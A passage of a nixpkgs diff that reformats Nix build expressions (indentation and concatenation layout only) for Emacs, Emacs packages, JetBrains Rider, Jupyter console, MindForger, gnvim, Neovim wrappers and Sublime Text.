-              + old.preBuild or "";
+            preBuild = ''
+              rm --verbose ac-php-comm-tags-data.el
+            ''
+            + old.preBuild or "";
           });
 
           # Optimizer error: too much on the stack
@@ -1148,12 +1113,10 @@ let
           ekg = addPackageRequires super.ekg [ self.denote ];
 
           elfeed = super.elfeed.overrideAttrs (attrs: {
-            postPatch =
-              attrs.postPatch or ""
-              + ''
-                substituteInPlace elfeed-curl.el \
-                  --replace-fail 'elfeed-curl-program-name "curl"' 'elfeed-curl-program-name "${lib.getExe pkgs.curl}"'
-              '';
+            postPatch = attrs.postPatch or "" + ''
+              substituteInPlace elfeed-curl.el \
+                --replace-fail 'elfeed-curl-program-name "curl"' 'elfeed-curl-program-name "${lib.getExe pkgs.curl}"'
+            '';
           });
 
           elisp-sandbox = ignoreCompilationError super.elisp-sandbox; # elisp error
@@ -1393,14 +1356,12 @@ let
           jekyll-modes = addPackageRequires super.jekyll-modes [ self.poly-markdown ];
 
           jq-mode = super.jq-mode.overrideAttrs (attrs: {
-            postPatch =
-              attrs.postPatch or ""
-              + ''
-                substituteInPlace jq-mode.el \
-                  --replace-fail 'jq-interactive-command "jq"' 'jq-interactive-command "${lib.getExe pkgs.jq}"'
-                substituteInPlace ob-jq.el \
-                  --replace-fail 'org-babel-jq-command "jq"' 'org-babel-jq-command "${lib.getExe pkgs.jq}"'
-              '';
+            postPatch = attrs.postPatch or "" + ''
+              substituteInPlace jq-mode.el \
+                --replace-fail 'jq-interactive-command "jq"' 'jq-interactive-command "${lib.getExe pkgs.jq}"'
+              substituteInPlace ob-jq.el \
+                --replace-fail 'org-babel-jq-command "jq"' 'org-babel-jq-command "${lib.getExe pkgs.jq}"'
+            '';
           });
 
           jss = ignoreCompilationError super.jss; # elisp error
diff --git a/pkgs/applications/editors/emacs/make-emacs.nix b/pkgs/applications/editors/emacs/make-emacs.nix
index 24cf3124b815..fd91f850245b 100644
--- a/pkgs/applications/editors/emacs/make-emacs.nix
+++ b/pkgs/applications/editors/emacs/make-emacs.nix
@@ -134,14 +134,13 @@ assert withPgtk -> withGTK3 && !withX;
 assert withXwidgets -> !noGui && (withGTK3 || withPgtk);
 
 let
-  libGccJitLibraryPaths =
-    [
-      "${lib.getLib libgccjit}/lib/gcc"
-      "${lib.getLib stdenv.cc.libc}/lib"
-    ]
-    ++ lib.optionals (stdenv.cc ? cc.lib.libgcc) [
-      "${lib.getLib stdenv.cc.cc.lib.libgcc}/lib"
-    ];
+  libGccJitLibraryPaths = [
+    "${lib.getLib libgccjit}/lib/gcc"
+    "${lib.getLib stdenv.cc.libc}/lib"
+  ]
+  ++ lib.optionals (stdenv.cc ? cc.lib.libgcc) [
+    "${lib.getLib stdenv.cc.cc.lib.libgcc}/lib"
+  ];
 
   inherit (if variant == "macport" then llvmPackages_14.stdenv else stdenv)
     mkDerivation
@@ -249,121 +248,119 @@ mkDerivation (finalAttrs: {
     ""
   ];
 
-  nativeBuildInputs =
-    [
-      makeWrapper
-      pkg-config
-    ]
-    ++ lib.optionals (variant == "macport") [
-      texinfo
-    ]
-    ++ lib.optionals srcRepo [
-      autoreconfHook
-      texinfo
-    ]
-    ++ lib.optionals (withPgtk || withX && (withGTK3 || withXwidgets)) [ wrapGAppsHook3 ];
+  nativeBuildInputs = [
+    makeWrapper
+    pkg-config
+  ]
+  ++ lib.optionals (variant == "macport") [
+    texinfo
+  ]
+  ++ lib.optionals srcRepo [
+    autoreconfHook
+    texinfo
+  ]
+  ++ lib.optionals (withPgtk || withX && (withGTK3 || withXwidgets)) [ wrapGAppsHook3 ];
 
-  buildInputs =
-    [
-      gettext
-      gnutls
-      (lib.getDev harfbuzz)
-    ]
-    ++ lib.optionals withJansson [
-      jansson
-    ]
-    ++ [
-      libxml2
-      ncurses
-    ]
-    ++ lib.optionals withAcl [
-      acl
-    ]
-    ++ lib.optionals withAlsaLib [
-      alsa-lib
-    ]
-    ++ lib.optionals withGpm [
-      gpm
-    ]
-    ++ lib.optionals withDbus [
-      dbus
-    ]
-    ++ lib.optionals withSelinux [
-      libselinux
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin && withGTK3) [
-      gsettings-desktop-schemas
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isLinux && withX) [
-      libotf
-      m17n_lib
-    ]
-    ++ lib.optionals (withX && withGTK3) [
-      gtk3-x11
-    ]
-    ++ lib.optionals (withX && withMotif) [
-      motif
-    ]
-    ++ lib.optionals withGlibNetworking [
-      glib-networking
-    ]
-    ++ lib.optionals withNativeCompilation [
-      libgccjit
-      zlib
-    ]
-    ++ lib.optionals withImageMagick [
-      imagemagick
-    ]
-    ++ lib.optionals withPgtk [
-      giflib
-      gtk3
-      libXpm
-      libjpeg
-      libpng
-      librsvg
-      libtiff
-    ]
-    ++ lib.optionals withSQLite3 [
-      sqlite
-    ]
-    ++ lib.optionals withSystemd [
-      systemd
-    ]
-    ++ lib.optionals withTreeSitter [
-      tree-sitter
-    ]
-    ++ lib.optionals withWebP [
-      libwebp
-    ]
-    ++ lib.optionals withX [
-      Xaw3d
-      giflib
-      libXaw
-      libXpm
-      libXrandr
-      libjpeg
-      libpng
-      librsvg
-      libtiff
-    ]
-    ++ lib.optionals withCairo [
-      cairo
-    ]
-    ++ lib.optionals (withX && !withCairo) [
-      libXft
-    ]
-    ++ lib.optionals withXinput2 [
-      libXi
-    ]
-    ++ lib.optionals withXwidgets [
-      webkitgtk_4_0
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      sigtool
-    ]
-    ++ lib.optionals withNS [
-      librsvg
-    ];
+  buildInputs = [
+    gettext
+    gnutls
+    (lib.getDev harfbuzz)
+  ]
+  ++ lib.optionals withJansson [
+    jansson
+  ]
+  ++ [
+    libxml2
+    ncurses
+  ]
+  ++ lib.optionals withAcl [
+    acl
+  ]
+  ++ lib.optionals withAlsaLib [
+    alsa-lib
+  ]
+  ++ lib.optionals withGpm [
+    gpm
+  ]
+  ++ lib.optionals withDbus [
+    dbus
+  ]
+  ++ lib.optionals withSelinux [
+    libselinux
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin && withGTK3) [
+    gsettings-desktop-schemas
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isLinux && withX) [
+    libotf
+    m17n_lib
+  ]
+  ++ lib.optionals (withX && withGTK3) [
+    gtk3-x11
+  ]
+  ++ lib.optionals (withX && withMotif) [
+    motif
+  ]
+  ++ lib.optionals withGlibNetworking [
+    glib-networking
+  ]
+  ++ lib.optionals withNativeCompilation [
+    libgccjit
+    zlib
+  ]
+  ++ lib.optionals withImageMagick [
+    imagemagick
+  ]
+  ++ lib.optionals withPgtk [
+    giflib
+    gtk3
+    libXpm
+    libjpeg
+    libpng
+    librsvg
+    libtiff
+  ]
+  ++ lib.optionals withSQLite3 [
+    sqlite
+  ]
+  ++ lib.optionals withSystemd [
+    systemd
+  ]
+  ++ lib.optionals withTreeSitter [
+    tree-sitter
+  ]
+  ++ lib.optionals withWebP [
+    libwebp
+  ]
+  ++ lib.optionals withX [
+    Xaw3d
+    giflib
+    libXaw
+    libXpm
+    libXrandr
+    libjpeg
+    libpng
+    librsvg
+    libtiff
+  ]
+  ++ lib.optionals withCairo [
+    cairo
+  ]
+  ++ lib.optionals (withX && !withCairo) [
+    libXft
+  ]
+  ++ lib.optionals withXinput2 [
+    libXi
+  ]
+  ++ lib.optionals withXwidgets [
+    webkitgtk_4_0
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    sigtool
+  ]
+  ++ lib.optionals withNS [
+    librsvg
+  ];
 
   # Emacs needs to find movemail at run time, see info (emacs) Movemail
   propagatedUserEnvPkgs = lib.optionals withMailutils [
@@ -372,58 +369,57 @@ mkDerivation (finalAttrs: {
 
   hardeningDisable = [ "format" ];
 
-  configureFlags =
-    [
-      (lib.enableFeature false "build-details") # for a (more) reproducible build
-      (lib.withFeature true "modules")
-    ]
-    ++ (
-      if withNS then
-        [
-          (lib.enableFeature false "ns-self-contained")
-        ]
-      else if withX then
-        [
-          (lib.withFeatureAs true "x-toolkit" toolkit)
-          (lib.withFeature withCairo "cairo")
-          (lib.withFeature (!withCairo) "xft")
-        ]
-      else if withPgtk then
-        [
-          (lib.withFeature true "pgtk")
-        ]
-      else
-        [
-          (lib.withFeature false "gif")
-          (lib.withFeature false "jpeg")
-          (lib.withFeature false "png")
-          (lib.withFeature false "tiff")
-          (lib.withFeature false "x")
-          (lib.withFeature false "xpm")
-        ]
-    )
-    ++ lib.optionals (variant == "macport") [
-      (lib.enableFeatureAs true "mac-app" "$$out/Applications")
-      (lib.withFeature true "gnutls")
-      (lib.withFeature true "mac")
-      (lib.withFeature true "xml2")
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      (lib.withFeature withNS "ns")
-    ]
-    ++ [
-      (lib.withFeature withCompressInstall "compress-install")
-      (lib.withFeature withToolkitScrollBars "toolkit-scroll-bars")
-      (lib.withFeature withNativeCompilation "native-compilation")
-      (lib.withFeature withImageMagick "imagemagick")
-      (lib.withFeature withMailutils "mailutils")
-      (lib.withFeature withSmallJaDic "small-ja-dic")
-      (lib.withFeature withTreeSitter "tree-sitter")
-      (lib.withFeature withXinput2 "xinput2")
-      (lib.withFeature withXwidgets "xwidgets")
-      (lib.withFeature withDbus "dbus")
-      (lib.withFeature withSelinux "selinux")
-    ];
+  configureFlags = [
+    (lib.enableFeature false "build-details") # for a (more) reproducible build
+    (lib.withFeature true "modules")
+  ]
+  ++ (
+    if withNS then
+      [
+        (lib.enableFeature false "ns-self-contained")
+      ]
+    else if withX then
+      [
+        (lib.withFeatureAs true "x-toolkit" toolkit)
+        (lib.withFeature withCairo "cairo")
+        (lib.withFeature (!withCairo) "xft")
+      ]
+    else if withPgtk then
+      [
+        (lib.withFeature true "pgtk")
+      ]
+    else
+      [
+        (lib.withFeature false "gif")
+        (lib.withFeature false "jpeg")
+        (lib.withFeature false "png")
+        (lib.withFeature false "tiff")
+        (lib.withFeature false "x")
+        (lib.withFeature false "xpm")
+      ]
+  )
+  ++ lib.optionals (variant == "macport") [
+    (lib.enableFeatureAs true "mac-app" "$$out/Applications")
+    (lib.withFeature true "gnutls")
+    (lib.withFeature true "mac")
+    (lib.withFeature true "xml2")
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    (lib.withFeature withNS "ns")
+  ]
+  ++ [
+    (lib.withFeature withCompressInstall "compress-install")
+    (lib.withFeature withToolkitScrollBars "toolkit-scroll-bars")
+    (lib.withFeature withNativeCompilation "native-compilation")
+    (lib.withFeature withImageMagick "imagemagick")
+    (lib.withFeature withMailutils "mailutils")
+    (lib.withFeature withSmallJaDic "small-ja-dic")
+    (lib.withFeature withTreeSitter "tree-sitter")
+    (lib.withFeature withXinput2 "xinput2")
+    (lib.withFeature withXwidgets "xwidgets")
+    (lib.withFeature withDbus "dbus")
+    (lib.withFeature withSelinux "selinux")
+  ];
 
   env =
     lib.optionalAttrs withNativeCompilation {
@@ -443,47 +439,46 @@ mkDerivation (finalAttrs: {
     "install"
   ];
 
-  postInstall =
-    ''
-      mkdir -p $out/share/emacs/site-lisp
-      cp ${siteStart} $out/share/emacs/site-lisp/site-start.el
+  postInstall = ''
+    mkdir -p $out/share/emacs/site-lisp
+    cp ${siteStart} $out/share/emacs/site-lisp/site-start.el
 
-      $out/bin/emacs --batch -f batch-byte-compile $out/share/emacs/site-lisp/site-start.el
+    $out/bin/emacs --batch -f batch-byte-compile $out/share/emacs/site-lisp/site-start.el
 
-      siteVersionDir=`ls $out/share/emacs | grep -v site-lisp | head -n 1`
+    siteVersionDir=`ls $out/share/emacs | grep -v site-lisp | head -n 1`
 
-      rm -r $out/share/emacs/$siteVersionDir/site-lisp
-    ''
-    + lib.optionalString withCsrc ''
-      for srcdir in src lisp lwlib ; do
-        dstdir=$out/share/emacs/$siteVersionDir/$srcdir
-        mkdir -p $dstdir
-        find $srcdir -name "*.[chm]" -exec cp {} $dstdir \;
-        cp $srcdir/TAGS $dstdir
-        echo '((nil . ((tags-file-name . "TAGS"))))' > $dstdir/.dir-locals.el
-      done
-    ''
-    + lib.optionalString withNS ''
-      mkdir -p $out/Applications
-      mv nextstep/Emacs.app $out/Applications
-    ''
-    + lib.optionalString (withNativeCompilation && (withNS || variant == "macport")) ''
-      ln -snf $out/lib/emacs/*/native-lisp $out/Applications/Emacs.app/Contents/native-lisp
-    ''
-    + lib.optionalString withNativeCompilation ''
-      echo "Generating native-compiled trampolines..."
-      # precompile trampolines in parallel, but avoid spawning one process per trampoline.
-      # 1000 is a rough lower bound on the number of trampolines compiled.
-      $out/bin/emacs --batch --eval "(mapatoms (lambda (s) \
-        (when (subr-primitive-p (symbol-function s)) (print s))))" \
-        | xargs -n $((1000/NIX_BUILD_CORES + 1)) -P $NIX_BUILD_CORES \
-          $out/bin/emacs --batch -l comp --eval "(while argv \
-            (comp-trampoline-compile (intern (pop argv))))"
-      mkdir -p $out/share/emacs/native-lisp
-      $out/bin/emacs --batch \
-        --eval "(add-to-list 'native-comp-eln-load-path \"$out/share/emacs/native-lisp\")" \
-        -f batch-native-compile $out/share/emacs/site-lisp/site-start.el
-    '';
+    rm -r $out/share/emacs/$siteVersionDir/site-lisp
+  ''
+  + lib.optionalString withCsrc ''
+    for srcdir in src lisp lwlib ; do
+      dstdir=$out/share/emacs/$siteVersionDir/$srcdir
+      mkdir -p $dstdir
+      find $srcdir -name "*.[chm]" -exec cp {} $dstdir \;
+      cp $srcdir/TAGS $dstdir
+      echo '((nil . ((tags-file-name . "TAGS"))))' > $dstdir/.dir-locals.el
+    done
+  ''
+  + lib.optionalString withNS ''
+    mkdir -p $out/Applications
+    mv nextstep/Emacs.app $out/Applications
+  ''
+  + lib.optionalString (withNativeCompilation && (withNS || variant == "macport")) ''
+    ln -snf $out/lib/emacs/*/native-lisp $out/Applications/Emacs.app/Contents/native-lisp
+  ''
+  + lib.optionalString withNativeCompilation ''
+    echo "Generating native-compiled trampolines..."
+    # precompile trampolines in parallel, but avoid spawning one process per trampoline.
+    # 1000 is a rough lower bound on the number of trampolines compiled.
+    $out/bin/emacs --batch --eval "(mapatoms (lambda (s) \
+      (when (subr-primitive-p (symbol-function s)) (print s))))" \
+      | xargs -n $((1000/NIX_BUILD_CORES + 1)) -P $NIX_BUILD_CORES \
+        $out/bin/emacs --batch -l comp --eval "(while argv \
+          (comp-trampoline-compile (intern (pop argv))))"
+    mkdir -p $out/share/emacs/native-lisp
+    $out/bin/emacs --batch \
+      --eval "(add-to-list 'native-comp-eln-load-path \"$out/share/emacs/native-lisp\")" \
+      -f batch-native-compile $out/share/emacs/site-lisp/site-start.el
+  '';
 
   postFixup = lib.optionalString (stdenv.hostPlatform.isLinux && withX && toolkit == "lucid") ''
     patchelf --add-rpath ${lib.makeLibraryPath [ libXcursor ]} $out/bin/emacs
@@ -510,5 +505,6 @@ mkDerivation (finalAttrs: {
     knownVulnerabilities = lib.optionals (lib.versionOlder version "30") [
       "CVE-2024-53920 CVE-2025-1244, please use newer versions such as emacs30"
     ];
-  } // meta;
+  }
+  // meta;
 })
diff --git a/pkgs/applications/editors/emacs/sources.nix b/pkgs/applications/editors/emacs/sources.nix
index c8bea20543b1..7a326ec644d0 100644
--- a/pkgs/applications/editors/emacs/sources.nix
+++ b/pkgs/applications/editors/emacs/sources.nix
@@ -51,27 +51,26 @@ let
         description =
           "Extensible, customizable GNU text editor"
           + lib.optionalString (variant == "macport") " - macport variant";
-        longDescription =
-          ''
-            GNU Emacs is an extensible, customizable text editor—and more. At its core
-            is an interpreter for Emacs Lisp, a dialect of the Lisp programming
-            language with extensions to support text editing.
+        longDescription = ''
+          GNU Emacs is an extensible, customizable text editor—and more. At its core
+          is an interpreter for Emacs Lisp, a dialect of the Lisp programming
+          language with extensions to support text editing.
 
-            The features of GNU Emacs include: content-sensitive editing modes,
-            including syntax coloring, for a wide variety of file types including
-            plain text, source code, and HTML; complete built-in documentation,
-            including a tutorial for new users; full Unicode support for nearly all
-            human languages and their scripts; highly customizable, using Emacs Lisp
-            code or a graphical interface; a large number of extensions that add other
-            functionality, including a project planner, mail and news reader, debugger
-            interface, calendar, and more. Many of these extensions are distributed
-            with GNU Emacs; others are available separately.
-          ''
-          + lib.optionalString (variant == "macport") ''
+          The features of GNU Emacs include: content-sensitive editing modes,
+          including syntax coloring, for a wide variety of file types including
+          plain text, source code, and HTML; complete built-in documentation,
+          including a tutorial for new users; full Unicode support for nearly all
+          human languages and their scripts; highly customizable, using Emacs Lisp
+          code or a graphical interface; a large number of extensions that add other
+          functionality, including a project planner, mail and news reader, debugger
+          interface, calendar, and more. Many of these extensions are distributed
+          with GNU Emacs; others are available separately.
+        ''
+        + lib.optionalString (variant == "macport") ''
 
-            This release is built from Mitsuharu Yamamoto's patched source code
-            tailored for macOS.
-          '';
+          This release is built from Mitsuharu Yamamoto's patched source code
+          tailored for macOS.
+        '';
         changelog =
           {
             "mainline" = "https://www.gnu.org/savannah-checkouts/gnu/emacs/news/NEWS.${version}";
@@ -99,7 +98,8 @@ let
           }
           .${variant};
         mainProgram = "emacs";
-      } // meta;
+      }
+      // meta;
     };
 in
 {
diff --git a/pkgs/applications/editors/jetbrains/default.nix b/pkgs/applications/editors/jetbrains/default.nix
index efb86750d905..ef206f931371 100644
--- a/pkgs/applications/editors/jetbrains/default.nix
+++ b/pkgs/applications/editors/jetbrains/default.nix
@@ -318,20 +318,19 @@ rec {
   rider =
     (mkJetBrainsProduct {
       pname = "rider";
-      extraBuildInputs =
-        [
-          fontconfig
-          stdenv.cc.cc
-          openssl
-          libxcrypt
-          lttng-ust_2_12
-          musl
-        ]
-        ++ lib.optionals (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isAarch64) [
-          expat
-          libxml2
-          xz
-        ];
+      extraBuildInputs = [
+        fontconfig
+        stdenv.cc.cc
+        openssl
+        libxcrypt
+        lttng-ust_2_12
+        musl
+      ]
+      ++ lib.optionals (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isAarch64) [
+        expat
+        libxml2
+        xz
+      ];
       extraLdPath = lib.optionals (stdenv.hostPlatform.isLinux) [
         # Avalonia dependencies needed for dotMemory
         libICE
diff --git a/pkgs/applications/editors/jupyter/console.nix b/pkgs/applications/editors/jupyter/console.nix
index 255e76e85132..07eaa79cd254 100644
--- a/pkgs/applications/editors/jupyter/console.nix
+++ b/pkgs/applications/editors/jupyter/console.nix
@@ -12,14 +12,13 @@ let
     }:
     (python3.buildEnv.override {
       extraLibs = [ python3.pkgs.jupyter-console ];
-      makeWrapperArgs =
-        [
-          "--set JUPYTER_PATH ${jupyter-kernel.create { inherit definitions; }}"
-        ]
-        ++ lib.optionals (kernel != null) [
-          "--add-flags --kernel"
-          "--add-flags ${kernel}"
-        ];
+      makeWrapperArgs = [
+        "--set JUPYTER_PATH ${jupyter-kernel.create { inherit definitions; }}"
+      ]
+      ++ lib.optionals (kernel != null) [
+        "--add-flags --kernel"
+        "--add-flags ${kernel}"
+      ];
     }).overrideAttrs
       (oldAttrs: {
         # To facilitate running nix run .#jupyter-console
diff --git a/pkgs/applications/editors/mindforger/default.nix b/pkgs/applications/editors/mindforger/default.nix
index 2883c52fafc8..5f3b23c4e013 100644
--- a/pkgs/applications/editors/mindforger/default.nix
+++ b/pkgs/applications/editors/mindforger/default.nix
@@ -59,13 +59,12 @@ stdenv.mkDerivation {
   # build MindForger's internal fork of cmark-gfm ahead of MindForger itself.
   #
   # Moreover unpack the docs that are needed for the MacOS build.
-  postUnpack =
-    ''
-      cp -TR ${srcs.cmark-gfm} $sourceRoot/deps/cmark-gfm
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      cp -TR ${srcs.mindforger-repository} $sourceRoot/doc
-    '';
+  postUnpack = ''
+    cp -TR ${srcs.cmark-gfm} $sourceRoot/deps/cmark-gfm
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    cp -TR ${srcs.mindforger-repository} $sourceRoot/doc
+  '';
   dontUseCmakeConfigure = true;
   preBuild = ''
     (
diff --git a/pkgs/applications/editors/neovim/gnvim/wrapper.nix b/pkgs/applications/editors/neovim/gnvim/wrapper.nix
index dd651f56ff15..a8e99c265e7a 100644
--- a/pkgs/applications/editors/neovim/gnvim/wrapper.nix
+++ b/pkgs/applications/editors/neovim/gnvim/wrapper.nix
@@ -9,22 +9,21 @@
 stdenv.mkDerivation {
   pname = "gnvim";
   version = gnvim-unwrapped.version;
-  buildCommand =
-    ''
-      makeWrapper '${gnvim-unwrapped}/bin/gnvim' "$out/bin/gnvim" \
-        --prefix PATH : "${neovim}/bin" \
-        --set GNVIM_RUNTIME_PATH "${gnvim-unwrapped}/share/gnvim/runtime"
-    ''
-    + lib.optionalString (!stdenv.hostPlatform.isDarwin) ''
-      mkdir -p "$out/share"
-      ln -s '${gnvim-unwrapped}/share/icons' "$out/share/icons"
+  buildCommand = ''
+    makeWrapper '${gnvim-unwrapped}/bin/gnvim' "$out/bin/gnvim" \
+      --prefix PATH : "${neovim}/bin" \
+      --set GNVIM_RUNTIME_PATH "${gnvim-unwrapped}/share/gnvim/runtime"
+  ''
+  + lib.optionalString (!stdenv.hostPlatform.isDarwin) ''
+    mkdir -p "$out/share"
+    ln -s '${gnvim-unwrapped}/share/icons' "$out/share/icons"
 
-      # copy and fix .desktop file
-      cp -r '${gnvim-unwrapped}/share/applications' "$out/share/applications"
-      # Sed needs a writable directory to do inplace modifications
-      chmod u+rw "$out/share/applications"
-      sed -e "s|Exec=.\\+gnvim\\>|Exec=gnvim|" -i $out/share/applications/*.desktop
-    '';
+    # copy and fix .desktop file
+    cp -r '${gnvim-unwrapped}/share/applications' "$out/share/applications"
+    # Sed needs a writable directory to do inplace modifications
+    chmod u+rw "$out/share/applications"
+    sed -e "s|Exec=.\\+gnvim\\>|Exec=gnvim|" -i $out/share/applications/*.desktop
+  '';
 
   preferLocalBuild = true;
 
diff --git a/pkgs/applications/editors/neovim/utils.nix b/pkgs/applications/editors/neovim/utils.nix
index 69aa638d05a0..01179964b7a3 100644
--- a/pkgs/applications/editors/neovim/utils.nix
+++ b/pkgs/applications/editors/neovim/utils.nix
@@ -267,7 +267,8 @@ let
 
         meta = {
           platforms = lib.platforms.all;
-        } // grammar.meta;
+        }
+        // grammar.meta;
       }
     ));
 
diff --git a/pkgs/applications/editors/neovim/wrapper.nix b/pkgs/applications/editors/neovim/wrapper.nix
index 1ba4130cf7b9..48691cb8fe9e 100644
--- a/pkgs/applications/editors/neovim/wrapper.nix
+++ b/pkgs/applications/editors/neovim/wrapper.nix
@@ -115,14 +115,13 @@ let
           in
           lib.foldl' op [ ] pluginsNormalized;
 
-        rcContent =
-          ''
-            ${luaRcContent}
-          ''
-          + lib.optionalString (neovimRcContent' != null) ''
-            vim.cmd.source "${writeText "init.vim" neovimRcContent'}"
-          ''
-          + lib.concatStringsSep "\n" luaPluginRC;
+        rcContent = ''
+          ${luaRcContent}
+        ''
+        + lib.optionalString (neovimRcContent' != null) ''
+          vim.cmd.source "${writeText "init.vim" neovimRcContent'}"
+        ''
+        + lib.concatStringsSep "\n" luaPluginRC;
 
         getDeps = attrname: map (plugin: plugin.${attrname} or (_: [ ]));
 
@@ -137,35 +136,34 @@ let
 
         wrapperArgsStr = if lib.isString wrapperArgs then wrapperArgs else lib.escapeShellArgs wrapperArgs;
 
-        generatedWrapperArgs =
-          [
-            # vim accepts a limited number of commands so we join all the provider ones
-            "--add-flags"
-            ''--cmd "lua ${providerLuaRc}"''
-          ]
-          ++
-            lib.optionals
-              (
-                finalAttrs.packpathDirs.myNeovimPackages.start != [ ]
-                || finalAttrs.packpathDirs.myNeovimPackages.opt != [ ]
-              )
-              [
-                "--add-flags"
-                ''--cmd "set packpath^=${finalPackdir}"''
-                "--add-flags"
-                ''--cmd "set rtp^=${finalPackdir}"''
-              ]
-          ++ lib.optionals finalAttrs.withRuby [
-            "--set"
-            "GEM_HOME"
-            "${rubyEnv}/${rubyEnv.ruby.gemPath}"
-          ]
-          ++ lib.optionals (finalAttrs.runtimeDeps != [ ]) [
-            "--suffix"
-            "PATH"
-            ":"
-            (lib.makeBinPath finalAttrs.runtimeDeps)
-          ];
+        generatedWrapperArgs = [
+          # vim accepts a limited number of commands so we join all the provider ones
+          "--add-flags"
+          ''--cmd "lua ${providerLuaRc}"''
+        ]
+        ++
+          lib.optionals
+            (
+              finalAttrs.packpathDirs.myNeovimPackages.start != [ ]
+              || finalAttrs.packpathDirs.myNeovimPackages.opt != [ ]
+            )
+            [
+              "--add-flags"
+              ''--cmd "set packpath^=${finalPackdir}"''
+              "--add-flags"
+              ''--cmd "set rtp^=${finalPackdir}"''
+            ]
+        ++ lib.optionals finalAttrs.withRuby [
+          "--set"
+          "GEM_HOME"
+          "${rubyEnv}/${rubyEnv.ruby.gemPath}"
+        ]
+        ++ lib.optionals (finalAttrs.runtimeDeps != [ ]) [
+          "--suffix"
+          "PATH"
+          ":"
+          (lib.makeBinPath finalAttrs.runtimeDeps)
+        ];
 
         providerLuaRc = neovimUtils.generateProviderRc {
           inherit (finalAttrs)
@@ -182,21 +180,20 @@ let
         # when `postBuild` is evaluated), we call makeWrapper once to generate a
         # wrapper with most arguments we need, excluding those that cause problems to
         # generate rplugin.vim, but still required for the final wrapper.
-        finalMakeWrapperArgs =
-          [
-            "${neovim-unwrapped}/bin/nvim"
-            "${placeholder "out"}/bin/nvim"
-          ]
-          ++ [
-            "--set"
-            "NVIM_SYSTEM_RPLUGIN_MANIFEST"
-            "${placeholder "out"}/rplugin.vim"
-          ]
-          ++ lib.optionals finalAttrs.wrapRc [
-            "--add-flags"
-            "-u ${writeText "init.lua" rcContent}"
-          ]
-          ++ finalAttrs.generatedWrapperArgs;
+        finalMakeWrapperArgs = [
+          "${neovim-unwrapped}/bin/nvim"
+          "${placeholder "out"}/bin/nvim"
+        ]
+        ++ [
+          "--set"
+          "NVIM_SYSTEM_RPLUGIN_MANIFEST"
+          "${placeholder "out"}/rplugin.vim"
+        ]
+        ++ lib.optionals finalAttrs.wrapRc [
+          "--add-flags"
+          "-u ${writeText "init.lua" rcContent}"
+        ]
+        ++ finalAttrs.generatedWrapperArgs;
 
         perlEnv = perl.withPackages (p: [
           p.NeovimExt
@@ -272,7 +269,8 @@ let
               manifestWrapperArgs = [
                 "${neovim-unwrapped}/bin/nvim"
                 "${placeholder "out"}/bin/nvim-wrapper"
-              ] ++ finalAttrs.generatedWrapperArgs;
+              ]
+              ++ finalAttrs.generatedWrapperArgs;
             in
             ''
               echo "Generating remote plugin manifest"
diff --git a/pkgs/applications/editors/sublime/3/common.nix b/pkgs/applications/editors/sublime/3/common.nix
index 65d01a6eedb1..da26b2a046c7 100644
--- a/pkgs/applications/editors/sublime/3/common.nix
+++ b/pkgs/applications/editors/sublime/3/common.nix
@@ -150,23 +150,22 @@ stdenv.mkDerivation (rec {
 
   nativeBuildInputs = [ makeWrapper ];
 
-  installPhase =
-    ''
-      mkdir -p "$out/bin"
-      makeWrapper "''$${primaryBinary}/${primaryBinary}" "$out/bin/${primaryBinary}"
-    ''
-    + builtins.concatStringsSep "" (
-      map (binaryAlias: "ln -s $out/bin/${primaryBinary} $out/bin/${binaryAlias}\n") primaryBinaryAliases
-    )
-    + ''
-      mkdir -p "$out/share/applications"
-      substitute "''$${primaryBinary}/${primaryBinary}.desktop" "$out/share/applications/${primaryBinary}.desktop" --replace "/opt/${primaryBinary}/${primaryBinary}" "$out/bin/${primaryBinary}"
-      for directory in ''$${primaryBinary}/Icon/*; do
-        size=$(basename $directory)
-        mkdir -p "$out/share/icons/hicolor/$size/apps"
-        ln -s ''$${primaryBinary}/Icon/$size/* $out/share/icons/hicolor/$size/apps
-      done
-    '';
+  installPhase = ''
+    mkdir -p "$out/bin"
+    makeWrapper "''$${primaryBinary}/${primaryBinary}" "$out/bin/${primaryBinary}"
+  ''
+  + builtins.concatStringsSep "" (
+    map (binaryAlias: "ln -s $out/bin/${primaryBinary} $out/bin/${binaryAlias}\n") primaryBinaryAliases
+  )
+  + ''
+    mkdir -p "$out/share/applications"
+    substitute "''$${primaryBinary}/${primaryBinary}.desktop" "$out/share/applications/${primaryBinary}.desktop" --replace "/opt/${primaryBinary}/${primaryBinary}" "$out/bin/${primaryBinary}"
+    for directory in ''$${primaryBinary}/Icon/*; do
+      size=$(basename $directory)
+      mkdir -p "$out/share/icons/hicolor/$size/apps"
+      ln -s ''$${primaryBinary}/Icon/$size/* $out/share/icons/hicolor/$size/apps
+    done
+  '';
 
   meta = with lib; {
     description = "Sophisticated text editor for code, markup and prose";
diff --git a/pkgs/applications/editors/sublime/4/common.nix b/pkgs/applications/editors/sublime/4/common.nix
index 5eb44da32494..6aff26de3622 100644
--- a/pkgs/applications/editors/sublime/4/common.nix
+++ b/pkgs/applications/editors/sublime/4/common.nix
@@ -48,21 +48,20 @@ let
   versionUrl = "https://download.sublimetext.com/latest/${if dev then "dev" else "stable"}";
   versionFile = builtins.toString ./packages.nix;
 
-  neededLibraries =
-    [
-      xorg.libX11
-      xorg.libXtst
-      glib
-      libglvnd
-      openssl_1_1
-      gtk3
-      cairo
-      pango
-      curl
-    ]
-    ++ lib.optionals (lib.versionAtLeast buildVersion "4145") [
-      sqlite
-    ];
+  neededLibraries = [
+    xorg.libX11
+    xorg.libXtst
+    glib
+    libglvnd
+    openssl_1_1
+    gtk3
+    cairo
+    pango
+    curl
+  ]
+  ++ lib.optionals (lib.versionAtLeast buildVersion "4145") [
+    sqlite
+  ];
 
   binaryPackage = stdenv.mkDerivation rec {
     pname = "${pnameBase}-bin";
@@ -149,28 +148,27 @@ stdenv.mkDerivation (rec {
     makeWrapper
   ];
 
